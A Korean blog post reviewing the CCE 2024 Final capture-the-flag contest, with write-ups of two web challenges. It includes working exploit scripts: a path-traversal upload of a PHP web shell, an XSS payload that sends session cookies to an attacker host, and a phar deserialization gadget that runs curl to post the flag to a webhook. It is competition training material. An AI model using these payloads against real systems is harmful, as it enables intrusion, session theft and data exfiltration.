Avatar
Interest: Web Exploitation.
Activities: DreamHack, Baekjoon
I occasionally blogs about web security, tricks, and development.

CCE 2024 Final

CCE 2024 Final

대회 일정

2024-09-11 09:00 ~ 2024-09-11 18:00

대회 후기

CCE 2024 Final 공공부문 5위로 마무리했다. 우리팀은 암호학 1문제, 웹 1문제, 시스템 패치 문제를 풀었다.

대회를 시작하고 얼마되지 않아 팀원이 암호학 문제 퍼블을 땄다. 웹 2문제만 풀어주면 수상을 노려볼만하다고 생각했었다.

하지만, 04-정보자원관리원 문제에서 너무 삽질을 한 나머지 06-철도관제센터 문제를 볼 당시에는 시간이 2시간 50분 정도 남아 XSS 취약점을 찾고 php deserialization 시도하다보니 최종 2솔브로 대회가 마무리되었다.

군대에서 CCE 대회만 바라보고 1년간 드림핵 문제만 100문제 가량 풀고 여러 해외 CTF 대회에 참여했었는데 끝나고나니 그래도 조금 후련했던 것 같다.

군대에 있는 동안 정보보안기사 취득, 드림핵 9단계 풀기, CCE 본선 가기 목표를 모두 달성할 수 있어서 뿌듯했다. 이제는 버그바운티에 초점을 두고 공부할 것 같다.

Writeup

04-정보자원관리원

register.php

<?php
    function createFolderIfNotExists($folderName, $userData, $secretData) {
        $baseDir = '/app/user';
        $newFolderPath = $baseDir . '/' . $folderName;

        if (!file_exists($newFolderPath)) {
            if (mkdir($newFolderPath, 0777, true)) {
                echo "register success";
                $profilePath = $newFolderPath . '/profile.json';
                $jsonData = json_encode($userData, JSON_PRETTY_PRINT);
                $secretData = json_encode($secretData, JSON_PRETTY_PRINT);
                if (file_put_contents($profilePath, $jsonData) && file_put_contents($newFolderPath . '/pw.json', $secretData)) {
                    echo " and profile saved";
                    
                } else {
                    echo " but failed to save profile";
                }
            } else {
                die("register failed");
            }
        } else {
            echo "register failed";
        }
    }

    $name = $_POST['name'];
    $email = $_POST['email'];
    $pnum = $_POST['pnum'];
    $uid = $_POST['uid'];
    $upw = $_POST['upw'];
    $cupw = $_POST['cupw'];

    if(!$name || !$email || !$pnum || !$uid || !$upw || !$cupw) {
        die("register failed");
    }
    if($name === 'admin') {
        die("register failed");
    }
    if($upw !== $cupw) {
        die("register failed");
    }
    $userData = [
        'name' => $name,
        'email' => $email,
        'pnum' => $pnum,
        'uid' => $uid
    ];

    $secretData = [
        'upw' => $upw
    ];
    createFolderIfNotExists($uid, $userData, $secretData);
?>

회원가입 시 uid 값을 토대로 폴더를 생성하고 *.json 파일을 생성한다. 이때, uid에 대해 필터링이 걸려있지 않아 원하는 경로에 폴더를 생성할 수 있다.

report_check.php

<?php
    session_start();
    if(!isset($_SESSION['uid'])) {
        header('Location: /login.php');
    }

    include '../config/db.php';

    function generateRandomString($length = 10) {
        $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
        $charactersLength = strlen($characters);
        $randomString = '';
    
        for ($i = 0; $i < $length; $i++) {
            $randomString .= $characters[random_int(0, $charactersLength - 1)];
        }
    
        return $randomString;
    }

    $name = $_POST['name'];
    $content = $_POST['content'];
    $author = $_SESSION['uid'];

    if(!$name || !$content) {
        die("신고자 및 신고 대상자를 모두 입력해주세요.");
    }

    $maxFileSize = 3 * 1024 * 1024; // 5MB

    $evidence = $_FILES['evidence']; # php\x00
    
    $random_name = generateRandomString();
    if($evidence['size'] > 0) {
        if($evidence['size'] > $maxFileSize) {
            die("파일 크기는 3MB 이하여야 합니다.");
        }
        // file upload
        if($evidence['error'] === 0) {
            $evidencePath = '/app/report/' . $name . '_' . $random_name.'_'.$evidence['name']; 
            move_uploaded_file($evidence['tmp_name'], $evidencePath);
        }

        $ext = pathinfo($evidencePath, PATHINFO_EXTENSION);
        $stmt = $dbcon->prepare("INSERT INTO report (name, content, evidence, author_id) VALUES (?, ?, ?, ?)");
        $stmt->bind_param("ssss", $name, $content, $evidencePath, $author);
        $stmt->execute();
    
        if($ext !== 'zip'){
            die("zip 파일만 업로드 가능합니다.");
        }
    
        echo "<script>alert('신고가 완료되었습니다. 신고번호 : ".$random_name."');history.go(-1)</script>";
    } else {
        $stmt = $dbcon->prepare("INSERT INTO report (name, content, author_id) VALUES (?, ?, ?)");
        $stmt->bind_param("sss", $name, $content, $author);
        $stmt->execute();
        echo "<script>alert('신고가 완료되었습니다. 신고번호 : ".$random_name."');history.go(-1)</script>";
    }
?>

로그인 이후, 신고 기능이 존재하는데 위 코드는 파일 업로드 취약점이 존재한다. $_POST['name']를 통해 경로 조작이 가능하고, 파일 업로드 시 업로드가 수행된 후 확장자 검사를 하고 있다. 이로 인해, 원하는 경로에 원하는 확장자로 파일을 업로드 할 수 있게 된다. 하지만, 파일 이름 앞에 랜덤 값이 포함되어있어 파일에 접근하려면 이를 알아야한다.

pathinfo()함수는 취약한 함수로 _random_.php\x00.zip를 입력하면 _random_.php 파일이 올라가고, 확장자를 zip으로 맞춰줄 수 있어 Null Byte Injection을 시도하였다. 하지만, 최신 버전으로 인해서 인지 확장자 우회에 실패하였다.

000-default.conf

<Directory /var/www/html>
    Options Indexes FollowSymLinks
    AllowOverride All
    Require all granted
</Directory> 

그래서, 한참 삽질하다가 다른 파일을 다시 살펴보았고, /var/www/html 경로에 디렉터리 리스팅 취약점이 존재한다는 것을 알게되어 웹쉘 접근이 가능해져 플래그를 획득할 수 있었다.

Exploit Code

회원 가입 시, 경로 조작을 통해 /var/www/html/helloworld2/ 폴더를 생성해준다.

import requests 

url = "http://52.231.230.112:8090"

s = requests.session() 
r = s.post(
    f"{url}/api/report_check.php",
    cookies={"PHPSESSID":"7fc2b8de800b11381d9bcd4dd4b0e62a"}, # remote
    data={ 
        'name': "../../var/www/html/helloworld2/",
        "content": "asdf"
    }, 
    files={
        "evidence": ('.php', "<?php system($_GET['c']); ?>", 'application/zip')
    },
    allow_redirects=False
)

print(r.status_code) 

/var/www/html/helloworld2/ 경로에 웹쉘을 업로드해준다.

/var/www/html/helloworld2/ 경로에 접근하면 디렉터리 리스팅 취약점으로 인해 폴더 안에 파일들이 보이며 웹쉘 파일에 접근이 가능해진다.

Flag

cce2024{66ec6fe4d66ecbb644fd110e0ebfc25bc39c1273d63455859719455a4b04cadd51203ba2dc8830aa2d79d11ad7f9ffc4ae263b70fb}

06-철도관제센터

admin 계정에 파일 업로드, 다운로드 기능이 존재하고 일반 유저가 가진 기능은 크게 없었다. 대회 당시 admin 계정까지 탈취하고 phar://를 사용하는 것까지 방향을 잘 잡았지만, 결국 해결하지 못해 대회 이후 @One님이 올려주신 write-up을 참고하여 작성하였다.

index.php

<li>
<label for="selGoStartDay">출발일</label>
<input type="text" id="selGoStartDay" name="start" class="txt120" value="<?=isset($_GET["selGoStartDay"])?$_GET["selGoStartDay"]:"2024.9.11"?>" title="출발일" disabled>
</li>

index 페이지를 보니 XSS 취약점이 존재하였고, 8080 포트에 봇이 존재하여 admin 계정 탈취가 가능했다.

http://52.231.191.39/?selGoStartDay="><script>location.href%3D'http%3A%2F%2Fattacker_ip%3A8000%2F'%2Bdocument.cookie<%2Fscript>

위 URL에 봇이 접속하도록 함으로써 세션을 탈취했다.

admin/download.php

<?php

require_once "../lib/config.php";

if(!is_login() || !is_admin()) header("Location: ./login.php");


$path = $_GET["path"];

$file = new FileDownloader($path);
$file->download();
?>

lib/class.inc.php

<?php     
     
class FileDownloader {
    private $filePath;

    public function __construct($filePath) {
        
        while(strpos($filePath, "../") !== false) {
            $filePath = str_replace("../", "", $filePath);
        }
        $this->filePath = $config["GlobalStorePath"].$filePath;
    }

    public function download() {
        if (file_exists($this->filePath)) {
            $fileSize = filesize($this->filePath);
    
            if ($fileSize > 0) {
                header('Content-Description: File Transfer');
                header('Content-Type: application/octet-stream');
                header('Content-Disposition: attachment; filename="' . basename($this->filePath) . '"');
                header('Expires: 0');
                header('Cache-Control: must-revalidate');
                header('Pragma: public');
                header('Content-Length: ' . $fileSize);
                flush();
                readfile($this->filePath);
                exit;
            } else {
                header('HTTP/1.1 204 No Content');
                exit;
            }
        } else {
            header('HTTP/1.1 404 Not Found');
            exit;
        }
    }    
}

...
?>

admin 페이지에는 다운로드 기능이 존재하였고, readfile() 함수를 통해 파일을 읽어오고 있다.

class.inc.php

class JobManager{
    public $callback = null;
    public $allowCallbackList = ["FileDownloader::", "PackageManager::", "Logger::", "NetworkInfo::", "ResourceMonitor::", "AuthManager::"];
    public $arg = [];
    private $jobs = [];
    public function __construct($job, $callback, $arg) {
        $this->add_Job($job);
        $this->callback = $callback;
        $this->arg = $arg;
    }

    public function add_Job($job) {
        if(is_string($job) && !empty($job)) {
            $this->jobs[] = $job;
        } else {
            throw new InvalidArgumentException("Invalid job provided");
        }
    }

    public function flush() {
        $this->callback = null;
        $this->arg = null;
    }

    public function __destruct() {
        foreach ($this->allowCallbackList as $ck) {
            if(startsWith($this->callback, $ck)) {
                call_user_func_array($this->callback, $this->arg);
            }
        }
    }
}

마침 JobManager 클래스에서 __destruct() 함수가 존재하였고, 파일 다운로드 시 readfile() 함수를 사용하고 있어 php deserialization 취약점을 활용하는 방법으로 접근했다.

이까지 방향은 맞았으나 대회 당시 $allowCallbackList 배열 값을 변조시키는 부분을 떠올리지 못해 문제를 해결하지 못했다. $allowCallbackList에 등록된 클래스에 등록된 메소드들을 보며 Command Injection을 시도하는 등 여러 삽질을 했었다…

Exploit Code

<?php
function startsWith($haystack, $needle) {
    return $needle === "" || strrpos($haystack, $needle, -strlen($haystack)) !== false;
}
class JobManager{
    public $callback = null;
    public $allowCallbackList = ["system"];
    public $arg = [];
    private $jobs = [];
    public function __construct($job, $callback, $arg) {
        $this->add_Job($job);
        $this->callback = $callback;
        $this->arg = $arg;
    }

    public function add_Job($job) {
        if(is_string($job) && !empty($job)) {
            $this->jobs[] = $job;
        } else {
            throw new InvalidArgumentException("Invalid job provided");
        }
    }

    public function flush() {
        $this->callback = null;
        $this->arg = null;
    }

    public function __destruct() {
        foreach ($this->allowCallbackList as $ck) {
            if(startsWith($this->callback, $ck)) {
                call_user_func_array($this->callback, $this->arg);
            }
        }
    }
}

$phar = new Phar('payload.phar');
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");

$object = new JobManager('1234', 'system', ['curl -X POST -d "$(/readflag)" https://webhook.site/5fd286af-764f-487b-b21c-9f8421a10eb9']);
$phar->setMetadata($object);
$phar->stopBuffering();
system("mv payload.phar payload.xlsx");
readfile("phar://payload.xlsx");
# php --define phar.readonly=0 payload.php
?>

JobManager 클래스에서 $allowCallbackList 배열 값을 system으로 변경해주고, call_user_func_array() 함수에서 system() 함수를 호출해주면 된다.

import requests 
import re

url = "http://52.231.191.39"

fd = open("payload.xlsx", "rb")
payload = fd.read() 
fd.close() 

cookies = {"PHPSESSID": "8f3d5bf76936727f6fbcd09adadaec45"}

r = requests.post(
    f"{url}/admin/upload_process.php", 
    cookies=cookies,
    files={
        'file': ('test.xlsx', payload, 'application/x-phar')
    },
    data={
        'contentType': 'html'
    }
)
print(r.text)

m = re.search(r'\"(/tmp/[^\"]+\.xlsx)\"', r.text)

if m:
    file_path = m.group(1)
    print("추출된 경로:", file_path)

r = requests.get(
    f"{url}/admin/download.php",
    cookies=cookies,
    params={
        "path":"phar://" + file_path 
    },
    allow_redirects=False
)
print(r.text)

생성한 xlsx 파일을 업로드하고 phar://를 활용해 다운로드 해주면 RCE가 가능해진다.

Flag

cce2024{15b0b949c6234b41be4ca85fe02b04cec64d84c0213aaf882b2c2e28f29f637a}